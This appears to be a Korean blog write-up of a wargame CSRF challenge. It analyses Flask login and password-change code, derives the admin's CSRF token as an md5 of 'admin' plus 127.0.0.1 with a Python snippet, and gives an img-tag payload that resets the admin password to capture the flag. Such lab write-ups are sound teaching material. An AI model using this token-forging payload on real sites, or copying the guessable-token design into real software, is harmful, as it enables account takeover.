CTF & Wargame(WEB)

level 1 CSRF Advanced

KWAKBUMJUN 2025. 4. 18. 06:18

웹 서비스 분석

/login : 특정 계정으로 로그인을 할 수 있는 페이지

/change_password : 현재 로그인 되어 있는 계정의 비밀번호를 바꿀수 있는 페이지

/vuln : 사용자가 입력한 값을 그대로 출력해주는 페이지

/flag : param에 입력한 url로 사용자가 이동

 

엔드 포인트 분석

/login

users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}
token_storage = {}

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("user not found");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

사용자에게 username, password를 입력 받는다.

pw에 users 딕셔너리에 입력받은 username으로 매핑되어 있는 값을 저장

만약 pw와 사용자가 입력한 password가 같다면

랜덤한 8바이트 session_id 생성

생성한 session_id를 session_storage에 username과 매핑

token_storage에 생성된 session_id와 md5로 username + IP addr을 암호화한 값을 매핑

 

/change_password

@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw", None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken", ""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'

session_id를 가져옴

username, csrf_token을 각각 session_storage에 session_id 매핑되어 있는 값 가져오고, token_storage에 현재 session_id 매핑되어 있는 값 가져온다.

 

새로운 비밀번호를 입력받아서 pw 변수에 저장

만약 csrf_token이 로그인된 Id의 csrftoken과 다르다면 wrong csrf_token 출력

같다면 비밀번호 변경

 

취약점 분석

본 문제를 풀기 위해선 admin 계정의 비밀번호를 임의의 값으로 바꾸고, admin 계정으로 로그인 하여 index page에 출력되는 flag를 획득해야한다.

 

어드민 csrf_token 알아내기

admin의 id는 admin이고, admin의 ip주소는 127.0.0.1일 것이라는 것을 우리는 알고 있기 때문에

from hashlib import md5

username = b"admin"
ip_addr = b"127.0.0.1"
csrf_token = md5(username + ip_addr).hexdigest()
print(csrf_token)

 

해당 코드를 통해 admin 계정의 csrf_token을 알아낼수 있다.

토큰 : 7505b9c72ab4aa94b1a4ed7b207b67fb

 

익스플로잇

<img src="/change_password?pw=admin&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">

위의 페이로드를 admin 권한으로 요청을 보내는 페이지인 flag에 삽입하면 성공적으로 admin 계정의 비밀번호가 우리가 설정한 pw값으로 변경되고, 해당 계정으로 로그인해보면

이처럼 flag가 출력되는 것을 확인할수 있다.

 

'CTF & Wargame(WEB)' 카테고리의 다른 글

level 3 CSS Injection  (0) 2025.04.18
level 2 Client Side Template Injection  (0) 2025.04.18
level 3 CSP Bypass Advanced  (0) 2025.04.18
level 2 CSP Bypass  (0) 2025.04.18
XSS Filtering Bypass Advanced level 3  (0) 2025.04.18